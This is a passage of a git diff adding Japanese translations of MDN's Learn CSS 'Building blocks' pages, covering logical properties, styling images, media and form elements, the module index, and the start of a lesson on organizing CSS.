{{cssxref("padding-left")}}プロパティは、インライン方向の開始に適用されるパディングである{{cssxref("padding-inline-start")}}にマップされます。これは、その書き込みモードで文章が始まる場所です。 {{cssxref("border-bottom")}} プロパティは、{{cssxref("border-block-end")}}にマップされます。これは、ブロックディメンションの最後のボーダーです。<br> + <br> + 以下の物理的特性と論理的特性の比較を見ることができます。<br> + <br> + <strong><code>.box</code>の<code>writing-mode</code>プロパティを<code>vertical-rl</code>に切り替えてボックスの書き込みモードを変更すると、物理プロパティが物理方向にどのように関連付けられているかがわかりますが、論理プロパティは書き込みモードで切り替わります。<br> + <br> + また、 {{htmlelement("h2")}} には黒い <code>border-bottom</code>があることがわかります。両方のライティングモードで、下の境界線が常にテキストの下に来るようにする方法を見つけられますか？</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}</p> + +<p>個々のボーダーロングハンドをすべて考慮すると、膨大な数のプロパティがあり、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/CSS_Logical_Properties">論理プロパティと値</a>のMDNページですべてのマッピングプロパティを確認できます。</p> + +<h3 id="Logical_values" name="Logical_values">論理値</h3> + +<p>これまで、論理プロパティ名について見てきました。また、<code>top</code>, <code>right</code>, <code>bottom</code>, および <code>left</code>の物理値をとるプロパティもあります。これらの値には、論理値（<code>block-start</code>, <code>inline-end</code>, <code>block-end</code>, および <code>inline-start</code>）へのマッピングもあります。<br> + <br> + たとえば、画像を左にフロートさせて、画像の周りにテキストを折り返すことができます。以下の例に示すように、<code>left</code>を<code>inline-start</code>に置き換えることができます。<br> + <br> + <strong>この例の書き込みモードを<code>vertical-rl</code>に変更して、画像がどうなるかを確認します。 <code>inline-start</code>を<code>inline-end</code>に変更して、フロートを変更します。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}</p> + +<p>ここでは、書き込みモードが何であってもマージンが正しい場所にあることを保証するために、論理マージン値も使用しています。</p> + +<h3 id="Should_you_use_physical_or_logical_properties" name="Should_you_use_physical_or_logical_properties">物理的または論理的なプロパティを使うべきか？</h3> + +<p>論理的なプロパティと値は、物理的に同等のものよりも新しいため、ブラウザにはごく最近実装されました。 MDNの任意のプロパティページをチェックして、ブラウザーサポートがどの程度前にサポートしているかを確認できます。複数の書き込みモードを使用していない場合は、現時点では物理バージョンを使用することをお勧めします。ただし、フレックスボックスやグリッドなどのレイアウトメソッドの処理を開始すると、多くの人が理にかなっているため、最終的にはほとんどの場合、人々は論理バージョンに移行することを期待しています。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>このレッスンで説明する概念は、CSSでますます重要になっています。ブロックとインラインの方向、および書き込みモードの変更に伴うテキストフローの変化を理解することは、今後非常に役立ちます。水平モード以外の書き込みモードを使用しない場合でも、CSSを理解するのに役立ちます。<br> + <br> + 次のモジュールでは、CSSのオーバーフローについて詳しく見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/images_media_form_elements/index.html b/files/ja/learn/css/building_blocks/images_media_form_elements/index.html new file mode 100644 index 0000000000..f21577f7d5 --- /dev/null +++ b/files/ja/learn/css/building_blocks/images_media_form_elements/index.html @@ -0,0 +1,201 @@ +--- +title: 画像・メディア・フォーム要素 +slug: Learn/CSS/Building_blocks/Images_media_form_elements +tags: + - Beginner + - CSS + - Forms + - Images + - Learn + - Media + - replaced content +translation_of: Learn/CSS/Building_blocks/Images_media_form_elements +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</div> + +<p>このレッスンでは、特定の要素が CSS でどのように扱われるかを見ていきます。画像・メディア・フォーム要素では、CSS でスタイルを設定するにあたって通常のボックスとは少し異なる動作をします。何が可能で何が不可能かを理解することで、フラストレーションを軽減することができます。このレッスンでは、知っておくべきことのをいくつかを取り上げます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS でスタイルを設定したときに一部の要素が異常に動作することを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="Replaced_elements" name="Replaced_elements">置換要素</h2> + +<p>画像とビデオは、<strong><a href="/ja/docs/Web/CSS/Replaced_element">置き換えられた要素</a></strong>として説明されています。これは、CSSがこれらの要素の内部レイアウトに影響を与えることはできず、他の要素の中でのページ上の位置のみに影響を与えることを意味します。ただし、後で説明するように、CSSが画像に対して様々なことができます。</p> + +<p>画像や動画などの特定の置換された要素は、アスペクト比を持つものとしても記述されています。これは、水平方向 (x) と垂直方向 (y) の両方の寸法を持ち、デフォルトではファイルの本質的な寸法を使って表示されることを意味します。</p> + +<h2 id="Sizing_images" name="Sizing_images">画像サイズ</h2> + +<p>これらのレッスンを受けてすでにお分かりのように、CSSではすべてのものがボックスを生成します。画像ファイルの固有の寸法よりも小さいか大きいサイズの画像をボックス内に配置すると、ボックスよりも小さく表示されるか、ボックスをオーバーフローさせてしまいます。オーバーフローで何が起こるかについて決定を下す必要があります。</p> + +<p>以下の例では、2つのボックスがあり、どちらもサイズは200ピクセルです。</p> + +<ul> + <li>1つは200ピクセル未満の画像を含んでいます。これはボックスよりも小さく、それを埋めるために引き伸ばしません。</li> + <li>もう1つは200ピクセルより大きく、ボックスをオーバーフローします。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/images/size.html", '100%', 1000)}}</p> + +<p>では、オーバーフローの問題について何ができるでしょうか？</p> + +<p><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">前のレッスン</a>で学んだように、一般的な手法は、画像の {{cssxref("max-width")}} を100％にすることです。これにより、画像のサイズはボックスよりも小さくなりますが、大きくはなりません。この手法は、<code><a href="/ja/docs/Web/HTML/Element/video"><video></a></code>や <code><a href="/ja/docs/Web/HTML/Element/iframe"><iframe></a></code> などの他の置換された要素でも機能します。</p> + +<p><strong>上記の例 <code>max-width: 100%</code> の <code><img></code> 要素に追加してみてください。小さい画像は変更されないままですが、大きい画像はボックスに収まるように小さくなります。</strong></p> + +<p>コンテナー内のイメージについて他の選択を行うことができます。例えば、ボックスを完全に覆うように画像のサイズを変更したい場合があります。</p> + +<p>ここでは、{{cssxref("object-fit")}} プロパティが役立ちます。<code>object-fit</code> 置き換えられた要素を使用する場合、さまざまな方法でボックスに合うようにサイズを変更できます。</p> + +<p>以下では、値 <code>cover</code> を使用して画像を縮小し、アスペクト比を維持してボックスをきれいに埋めます。アスペクト比が維持されているため、画像の一部がボックスでトリミングされます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}</p> + +<p><code>contain</code> を値として使用する場合、ボックス内に収まるほど小さくなるまで画像が縮小されます。これは、ボックスと同じアスペクト比ではない場合、「レターボックス」になります。</p> + +<p><code>fill</code> を試すこともできます 。これは、ボックスを塗りつぶしますが、アスペクト比を維持しません。</p> + +<h2 id="Replaced_elements_in_layout" name="Replaced_elements_in_layout">レイアウト内の置換要素</h2> + +<p>置換された要素にさまざまなCSSレイアウト手法を使用すると、他の要素とは動作が少し異なる場合があります。 たとえば、フレックスまたはグリッドレイアウトでは、要素はデフォルトで領域全体に拡大されます。 画像は伸縮せず、代わりにグリッド領域またはフレックスコンテナーの始点に揃えられます。</p> + +<p>次の例では、2列2行のグリッドコンテナーがあり、4つのアイテムが含まれています。すべての <code><div></code> 要素には背景色があり、行と列に合わせて伸縮します。ただし、画像は引き伸ばされません。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}</p> + +<p>これらのレッスンを順番に実行している場合は、まだレイアウトを確認していない可能性があります。置き換えられた要素は、グリッドまたはフレックスレイアウトの一部になると、基本的にレイアウトによって不自然に引き伸ばされないようにするために、異なるデフォルトの動作になることに注意してください。</p> + +<p>画像を強制的に引き伸ばして、グリッドセルを塗りつぶすには、次のような操作を行う必要があります。</p> + +<pre class="brush: css notranslate">img { + width: 100%; + height: 100%; +}</pre> + +<p>ただし、これは画像を引き伸ばすため、おそらく望んでいることではありません。</p> + +<h2 id="Form_elements" name="Form_elements">フォーム要素</h2> + +<p>CSSでのスタイル設定に関しては、フォーム要素はトリッキーな問題であり、<a href="/ja/docs/Learn/HTML/Forms">HTMLフォームモジュール</a>には、フォーム要素のスタイル設定に関する詳細なガイドが含まれていますが、ここでは完全には再現しません。記事のこのセクションでは、強調すべきいくつかの重要な点があります。</p> + +<p>多くのフォームコントロールは <code><a href="/ja/docs/Web/HTML/Element/input"><input></a></code> 要素によってページに追加されます。これは、テキスト入力などの単純なフォームフィールドから、色や日付の選択などのHTML5で追加されたより複雑なフィールドまでを定義します。の <code><textarea></code> などの追加要素や、<code><fieldset></code> や <code><legend></code> などのフォームの一部を格納したりラベルを貼ったりするために使われる要素もあります。</p> + +<p>HTML5には、Web開発者が必須フィールド、さらには入力する必要があるコンテンツのタイプを指定できるようにする属性も含まれています。ユーザーが予期しない何かを入力したり、必須フィールドを空白のままにしたりすると、ブラウザにエラーメッセージが表示されることがあります。 ブラウザによって、このようなアイテムのスタイリングやカスタマイズがどの程度可能なのかについては一貫性がありません。</p> + +<h3 id="Styling_text_input_elements" name="Styling_text_input_elements">テキスト入力欄のスタイル</h3> + +<p><code><input type="text"></code>、<code><input type="email"></code>、<code><textarea></code> 要素などのテキスト入力を可能にする要素は、スタイルを整えるのが非常に簡単で、ページ上の他のボックスと同じように振る舞う傾向があります。しかし、これらの要素のデフォルトのスタイルは、ユーザーがサイトを訪問する際に使用するオペレーティングシステムやブラウザによって異なります。</p> + +<p>以下の例では、CSSを使用していくつかのテキスト入力にスタイルを設定しています。境界線、マージン、パディングなどがすべて期待どおりに適用されていることがわかります。属性セレクターを使用して、さまざまな入力タイプをターゲットにしています。ボーダーを調整し、フィールドに背景色を追加し、フォントとパディングを変更して、このフォームの外観を変更してみてください。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}</p> + +<div class="blockIndicator warning"> +<p><strong>重要</strong>：フォーム要素のスタイルを変更するときは、ユーザーがフォーム要素であることをユーザーに明確に伝えるように注意する必要があります。周囲のコンテンツとほとんど見分けがつかない境界線や背景のないフォーム入力を作成することもできますが、これにより認識や入力が非常に難しくなります。</p> +</div> + +<p>このコースのHTMLパートの<a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームスタイリング</a>に関するレッスンで説明したように、より複雑な入力タイプの多くはオペレーティングシステムによってレンダリングされ、スタイリングにアクセスできません。そのため、フォームは訪問者によってかなり違って見えることを常に想定し、複雑なフォームをいくつかのブラウザでテストする必要があります。</p> + +<h3 id="Inheritance_and_form_elements" name="Inheritance_and_form_elements">継承とフォーム要素</h3> + +<p>一部のブラウザでは、フォーム要素はデフォルトではフォントのスタイルを継承しません。そのため、フォームのフィールドがボディや親要素で定義されたフォントを使用するようにしたい場合は、CSSにこのルールを追加する必要があります。</p> + +<pre class="brush: css notranslate"><code>button, +input, +select, +textarea { + font-family : inherit; + font-size : 100%; +} </code></pre> + +<h3 id="Form_elements_and_box-sizing" name="Form_elements_and_box-sizing">フォーム要素と box-sizing</h3> + +<p>ブラウザー間で、フォーム要素は、さまざまなウィジェットに対してさまざまなボックスサイズ設定ルールを使用します。<a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデルのレッスンで</a><code>box-sizing</code> プロパティについて学習しました。フォームのスタイル設定時にこの知識を使用して、フォーム要素に幅と高さを設定するときに一貫したエクスペリエンスを確保できます。</p> + +<p>一貫性を保つために、すべての要素でマージンとパディングに <code>0</code> を設定し、特定のコントロールをスタイリングするときにこれらを追加することをお勧めします</p> + +<pre class="brush: css notranslate"><code>button, +input, +select, +textarea { + box-sizing: border-box; + padding: 0; + margin: 0; +}</code></pre> + +<h3 id="Other_useful_settings" name="Other_useful_settings">その他の便利な設定</h3> + +<p>上記のルールに加えて、スクロールバーが不要な場合にIEがスクロールバーを表示しないよう <code>overflow: auto</code> に <code><textarea></code>sを設定する必要があります。</p> + +<pre class="brush: css notranslate">textarea { + overflow: auto; +}</pre> + +<h3 id="Putting_it_all_together_into_a_reset" name="Putting_it_all_together_into_a_reset">リセット処理としてまとめる</h3> + +<p>最後のステップとして、上記で説明したさまざまなプロパティを次の「フォームリセット」にラップして、作業の一貫性のあるベースを提供できます。これには、最後の3つのセクションで言及したすべてのアイテムが含まれます。</p> + +<pre class="brush: css notranslate"><code>button, +input, +select, +textarea { + font-family: inherit; + font-size: 100%; + box-sizing: border-box; + padding: 0; margin: 0; +} + +textarea { + overflow: auto; +} </code></pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>：正規化スタイルシートは、すべてのプロジェクトで使用する一連のベースラインスタイルを作成するために、多くの開発者によって使用されています。通常、これらは上記で説明したものと同様のことを行います。CSSで独自の作業を行う前に、ブラウザー間で異なるものがすべて一貫したデフォルトに設定されていることを確認してください。ブラウザは通常、以前より一貫性があるため、以前ほど重要ではありません。ただし、1つの例を見てみたい場合は、<a href="http://necolas.github.io/normalize.css/">Normalize.cssを</a>チェックしてください<a href="http://necolas.github.io/normalize.css/">。Normalize.css</a>は、多くのプロジェクトでベースとして使用されている非常に人気のあるスタイルシートです。</p> +</div> + +<p>フォームのスタイル設定の詳細については、これらのガイドのHTMLセクションにある2つの記事をご覧ください。</p> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">HTMLフォームのスタイル</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">HTMLフォームの高度なスタイル</a></li> +</ul> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>このレッスンでは、CSSで画像、メディア、およびその他の異常な要素を操作するときに発生するいくつかの違いを強調しました。次の記事では、HTMLテーブルをスタイルする必要がある場合に役立ついくつかのヒントについて説明します。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/index.html b/files/ja/learn/css/building_blocks/index.html new file mode 100644 index 0000000000..3094d16d9c --- /dev/null +++ b/files/ja/learn/css/building_blocks/index.html @@ -0,0 +1,88 @@ +--- +title: CSS の構成要素 +slug: Learn/CSS/Building_blocks +tags: + - Beginner + - CSS + - Learn + - building blocks +translation_of: Learn/CSS/Building_blocks +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">このモジュールは <a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>から派生しています。CSS の言語や文法に慣れてきて、それを使う上での基本的な経験を得てきたという前提で、もう少し掘り下げてみましょう。カスケードと継承・セレクターの全種類・単位・サイズ設定・背景と枠線・デバッグなどを見ていきます。</p> + +<p class="summary">ここでの目的は、<a href="/ja/docs/Learn/CSS/Styling_text">テキストの装飾</a>や <a href="/ja/docs/Learn/CSS/CSS_layout">CSS レイアウト</a>などのより具体的な分野に進む前に、適切な CSS を書くための手法を知り、すべての重要な理論を理解できるようになることです。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提知識</h2> + +<p>このモジュールを始めるまえに、つぎの状態になっておくべきです。</p> + +<ol> + <li>コンピューターの使い方と（ウェブを見たりコンテンツを消費したりといった）ウェブの受動的な使い方に関する基本的な知識に慣れ親しんでいること。</li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>で説明されている基本的な作業環境と、<a href="https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い方</a>で説明されているファイルの作り方や管理の仕方について理解していること。</li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>で説明されている HTML についての基礎知識に慣れ親しんでいること。</li> + <li><a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>で説明されている CSS の基本について理解していること。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 自分自身でファイルを作れない環境 (タブレットやその他の端末) で作業する場合、(ほとんどの) コードサンプルは <a href="http://jsbin.com/">JSBin</a> や <a href="https://glitch.com/">Glitch</a> といったオンラインコーディングプログラムで試すことが可能です</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<p>このモジュールは CSS 言語のもっとも重要な部分をカバーする以下の記事で構成されます。各記事には理解度を試すエクササイズも含まれます。</p> + +<dl> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></dt> + <dd>このレッスンでの目的は、CSS を HTML に適用する方法と競合した場合の解決方法について、もっとも基本的な概念（カスケード・詳細度・継承）の理解を深めていくことです。</dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a></dt> + <dd>CSS セレクターにはさまざまな種類があり、スタイルを設定する要素を厳密に指定することができます。この記事と以下のサブ記事では、それらがどのように機能するかを詳しく見ていきます。サブ記事は以下の通りです: + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></dt> + <dd>CSS のすべてにはボックスの概念があり、これを理解することは CSS でレイアウトを作成したりアイテム同士を揃えたりするためのコツとなります。このレッスンでは CSS ボックスモデルを詳しく解説し、その仕組みと関連する用語を理解することで、より複雑なレイアウトに進んでいけるようにします。</dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></dt> + <dd>このレッスンでは、CSS の背景と枠線を使ってできるクリエイティブなことをいくつか見ていきます。グラデーションや背景画像や角丸について、背景と枠線は CSS のスタイリングに関する多くの疑問の解決策です。</dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></dt> + <dd>近年では、右から左へだけでなく上から下へのコンテンツ（日本語など）を含むコンテンツのさまざまな向きをより適切にサポートするために CSS サポートが進化しています。これらのさまざまな向きの考え方については "<strong>writing modes" </strong>と呼ばれます。レイアウトの学習を進めて進めていくと "writing modes" の理解がとても役に立っていきますので、この記事ではそれらを紹介していきます。</dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></dt> + <dd><font><font>このレッスンでは、CSS のもう 1 つの重要な概念である </font></font><strong><font><font>オーバーフロー（</font></font></strong><strong><font><font>overflow）</font></font></strong><font><font>を見ていきます</font><font>。</font><font>オーバーフローは、ボックス内にコンテンツが収まりきらないときに発生します。</font><font>このガイドでは、その詳細とそれらについてどのように対処するかを学びます。</font></font></dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></dt> + <dd><font>CSS で使用されるすべてのプロパティには、特定の値または値の組み合わせのみが許可されます。</font><font>このレッスンでは、もっともよく使用される値と単位について見ていきます。</font></dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></dt> + <dd>これまでのさまざまなレッスンで、CSS を使用してウェブページ上の項目のサイズを調整するいくつかの方法に出会いました。デザイン作業をしていくうえで、それぞれの手法がどれほど大きく異なっているのかを理解することが重要です。このレッスンでは、CSS によって要素のサイズを設定する方法をまとめ、サイジングに役立ついくつかの用語を定義します。</dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></dt> + <dd>このレッスンでは、特定の要素が CSS でどのように扱われるかを見ていきます。画像・メディア・フォーム要素では、CSS でスタイルを設定するにあたって通常のボックスとは少し異なる動作をします。何が可能で何が不可能であるのかを理解することで、フラストレーションを軽減することができます。このレッスンでは、知っておくべきことをいくつか取り上げます。</dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></dt> + <dd>HTML 表を装飾することは、世界で最も魅力的な仕事ではありませんが、時にはそれをしなければならないこともあります。この記事では、表をスタイリングするテクニックとともに、HTML 表を見栄え良くするためのガイドを提供します。</dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></dt> + <dd>CSS を書くとき、期待どおりに動作していないように見える問題が発生する場合があります。この記事では CSS の問題をデバッグする方法について案内し、何が起こっているかを調べるのに、すべてのモダンブラウザーに入っている開発者ツールがどう役立つかを示します。</dd> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></dt> + <dd>スタイルシートやプロジェクトが大きい状態で作業しはじめると、巨大な CSS ファイルを維持するのが難しいことがわかります。この記事では、保守しやすい CSS を書くためのベストプラクティスと、他の人が保守性を向上させるための解決策の一部を紹介します。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">評価</h2> + +<p>CSS スキルをテストしたいですか？以下の各評価では上記のガイドで説明されている CSS の理解度をテストできます。</p> + +<dl> + <dt><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">基本的な CSS の理解</a></dt> + <dd>この評価では基本的な構文・セレクター・詳細度・ボックスモデル・その他の理解度をテストします。</dd> + <dt><a href="/ja/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">装飾的なレターヘッド付きの便箋の作成</a></dt> + <dd>好印象を与えたいのなら、素敵なレターヘッドの便箋に手紙を書くのはとても良い考えです。この評価では、そのような見た目のオンラインテンプレートの作成に挑戦します。</dd> + <dt><a href="/ja/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">かっこいいボックス</a></dt> + <dd>ここでは背景と枠線のスタイリングを使った人目を引くボックスの作り方を実践します。</dd> +</dl> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="/ja/docs/Learn/CSS/Building_blocks/Advanced_styling_effects">ボックスの高度なエフェクト</a></dt> + <dd>この記事はトリックの箱として機能し、ボックスの影・ブレンドモード・フィルターのような、ボックスの装飾に使用できる高度な機能のいくつかを紹介します。</dd> +</dl> diff --git a/files/ja/learn/css/building_blocks/organizing/index.html b/files/ja/learn/css/building_blocks/organizing/index.html new file mode 100644 index 0000000000..f1508b0edb --- /dev/null +++ b/files/ja/learn/css/building_blocks/organizing/index.html @@ -0,0 +1,375 @@ +--- +title: CSS の整理 +slug: Learn/CSS/Building_blocks/Organizing +tags: + - Beginner + - CSS + - CodingScripting + - Learn + - comments + - formatting + - methodologies + - organizing + - post-processor + - pre-processor + - styleguide +translation_of: Learn/CSS/Building_blocks/Organizing +--- +<div>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</div> + +<p>スタイルシートやプロジェクトが大きい状態で作業しはじめると、巨大な CSS ファイルを維持するのが難しいことがわかります。この記事では、CSS を書いていくのと保守していくのをやりやすくするためのベストプラクティスと、保守性を向上させるための解決策の一部を紹介します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>スタイルシートを整理するためのヒントとベストプラクティスを学び、 CSS の整理およびチーム作業を手助けするいくつかの命名規則とツールについて調べる。</td> + </tr> + </tbody> +</table> + +<h2 id="Tips_to_keep_your_CSS_tidy" name="Tips_to_keep_your_CSS_tidy">CSS を整理するためのヒント</h2> + +<p>スタイルシートを整理して整頓するための一般的な提案を次に示します。</p> + +<h3 id="Does_your_project_have_a_coding_style_guide" name="Does_your_project_have_a_coding_style_guide">プロジェクトのコーディング規約があるか？</h3> + +<p>既存のプロジェクトでチームと作業している場合、最初に確認することは、プロジェクトに CSS の既存のスタイルガイドがあるかどうかです。チームスタイルガイドは常に自分の個人的な好みに勝つ必要があります。多くの場合、正しい方法や間違った方法はありませんが、一貫性が重要です。</p> + +<p>例えば、<a href="/ja/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS">MDN コードの例の CSS ガイドライン</a>を見てみましょう。</p> + +<h3 id="Keep_it_consistent" name="Keep_it_consistent">一貫性を保つ</h3> + +<p>プロジェクトのルールを設定したり、単独で作業している場合、最も重要なことは、一貫性を保つことです。一貫性は、クラスに同じ命名規則を使用する、色を説明する1つの方法を選択する、一貫したフォーマットを維持するなど、あらゆる方法で適用できます（例えば、タブまたはスペースのどちらを使用してコードをインデントしますか。スペースの場合、いくつのスペース？）</p> + +<p>常に従う一連のルールがあると、CSS 